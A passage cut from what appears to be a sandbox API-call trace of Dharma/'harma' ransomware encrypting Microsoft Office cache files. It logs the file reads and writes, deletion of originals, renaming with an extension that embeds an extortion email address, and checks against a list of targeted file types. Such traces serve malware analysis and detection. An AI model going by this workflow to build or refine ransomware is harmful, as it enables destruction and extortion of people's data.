Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0059.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0059.496] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0059.496] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.496] ReadFile (in: hFile=0x208, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.776] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.776] ReadFile (in: hFile=0x208, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.791] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.791] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.791] ReadFile (in: hFile=0x208, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.810] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.810] WriteFile (in: hFile=0x208, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0059.991] SetEndOfFile (hFile=0x208) returned 1 [0059.991] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0059.997] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.997] WriteFile (in: hFile=0x208, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.998] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.998] WriteFile (in: hFile=0x208, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.003] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.003] WriteFile (in: hFile=0x208, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0060.007] CloseHandle (hObject=0x208) returned 1 [0060.007] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0060.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.007] lstrlenW (lpString=".doc") returned 4 [0060.007] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0060.007] lstrlenW (lpString=".docx") returned 5 [0060.007] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0060.007] lstrlenW (lpString=".pdf") returned 4 [0060.008] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0060.008] lstrlenW (lpString=".xls") returned 4 [0060.008] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0060.008] lstrlenW (lpString=".xlsx") returned 5 [0060.008] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0060.008] lstrlenW (lpString=".ppt") returned 4 [0060.008] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0060.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.008] lstrlenW (lpString=".zip") returned 4 [0060.008] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0060.008] lstrlenW (lpString=".rar") returned 4 [0060.008] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0060.008] lstrlenW (lpString=".bz2") returned 4 [0060.008] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0060.008] lstrlenW (lpString=".7z") returned 3 [0060.008] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0060.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.008] lstrlenW (lpString=".dbf") returned 4 [0060.008] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0060.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.008] lstrlenW (lpString=".1cd") returned 4 [0060.008] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0060.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.008] lstrlenW (lpString=".jpg") returned 4 [0060.009] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.009] lstrlenW (lpString=".doc") returned 4 [0060.009] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString=".docx") returned 5 [0060.009] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0060.009] lstrlenW (lpString=".pdf") returned 4 [0060.009] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString=".xls") returned 4 [0060.009] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString=".xlsx") returned 5 [0060.009] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0060.009] lstrlenW (lpString=".ppt") returned 4 [0060.009] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.009] lstrlenW (lpString=".zip") returned 4 [0060.009] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString=".rar") returned 4 [0060.009] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0060.009] lstrlenW (lpString=".bz2") returned 4 [0060.009] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0060.009] lstrlenW (lpString=".7z") returned 3 [0060.009] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0060.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.010] lstrlenW (lpString=".dbf") returned 4 [0060.010] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0060.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.010] lstrlenW (lpString=".1cd") returned 4 [0060.010] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0060.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0060.010] lstrlenW (lpString=".jpg") returned 4 [0060.010] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0060.010] lstrcmpiW (lpString1=".xrm-ms", lpString2=".harma") returned 1 [0060.010] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0060.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.550] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=715834) returned 1 [0060.550] CloseHandle (hObject=0x204) returned 1 [0060.550] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0060.550] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.550] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.550] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.550] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.550] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0060.551] GetLastError () returned 0x0 [0060.551] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0060.571] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0060.676] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.680] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0x104, lpOverlapped=0x0) returned 1 [0060.801] SetEndOfFile (hFile=0x1a0) returned 1 [0061.304] CloseHandle (hObject=0x1a0) returned 1 [0061.304] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.304] SetEndOfFile (hFile=0x204) returned 1 [0061.310] CloseHandle (hObject=0x204) returned 1 [0061.310] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0061.311] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0061.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.311] lstrlenW (lpString=".doc") returned 4 [0061.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString=".docx") returned 5 [0061.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0061.311] lstrlenW (lpString=".pdf") returned 4 [0061.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString=".xls") returned 4 [0061.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString=".xlsx") returned 5 [0061.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0061.311] lstrlenW (lpString=".ppt") returned 4 [0061.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.311] lstrlenW (lpString=".zip") returned 4 [0061.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString=".rar") returned 4 [0061.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString=".bz2") returned 4 [0061.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0061.311] lstrlenW (lpString=".7z") returned 3 [0061.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0061.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.312] lstrlenW (lpString=".dbf") returned 4 [0061.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.312] lstrlenW (lpString=".1cd") returned 4 [0061.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.312] lstrlenW (lpString=".jpg") returned 4 [0061.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.312] lstrlenW (lpString=".doc") returned 4 [0061.312] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString=".docx") returned 5 [0061.312] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0061.312] lstrlenW (lpString=".pdf") returned 4 [0061.312] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString=".xls") returned 4 [0061.312] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString=".xlsx") returned 5 [0061.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0061.312] lstrlenW (lpString=".ppt") returned 4 [0061.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.312] lstrlenW (lpString=".zip") returned 4 [0061.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString=".rar") returned 4 [0061.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString=".bz2") returned 4 [0061.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0061.312] lstrlenW (lpString=".7z") returned 3 [0061.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0061.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.313] lstrlenW (lpString=".dbf") returned 4 [0061.313] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0061.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.313] lstrlenW (lpString=".1cd") returned 4 [0061.313] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0061.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0061.313] lstrlenW (lpString=".jpg") returned 4 [0061.313] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0061.313] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0061.313] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0061.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.313] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=162970271) returned 1 [0061.314] CloseHandle (hObject=0x204) returned 1 [0061.314] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0061.314] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0061.314] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0061.314] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0061.315] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0061.315] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.315] ReadFile (in: hFile=0x204, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.320] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.320] ReadFile (in: hFile=0x204, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.328] ReadFile (in: hFile=0x204, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.032] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.032] WriteFile (in: hFile=0x204, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0062.462] SetEndOfFile (hFile=0x204) returned 1 [0062.463] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f23170 [0062.463] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.463] WriteFile (in: hFile=0x204, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.463] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.464] WriteFile (in: hFile=0x204, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.467] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.467] WriteFile (in: hFile=0x204, lpBuffer=0x3f23170*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23170*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f23170 | out: hHeap=0x5a0000) returned 1 [0062.469] CloseHandle (hObject=0x204) returned 1 [0062.469] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0062.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.469] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.469] lstrlenW (lpString=".doc") returned 4 [0062.469] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0062.469] lstrlenW (lpString=".docx") returned 5 [0062.469] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0062.469] lstrlenW (lpString=".pdf") returned 4 [0062.469] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString=".xls") returned 4 [0062.470] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString=".xlsx") returned 5 [0062.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0062.470] lstrlenW (lpString=".ppt") returned 4 [0062.470] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.470] lstrlenW (lpString=".zip") returned 4 [0062.470] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString=".rar") returned 4 [0062.470] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0062.470] lstrlenW (lpString=".bz2") returned 4 [0062.470] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0062.470] lstrlenW (lpString=".7z") returned 3 [0062.470] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0062.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0062.470] lstrlenW 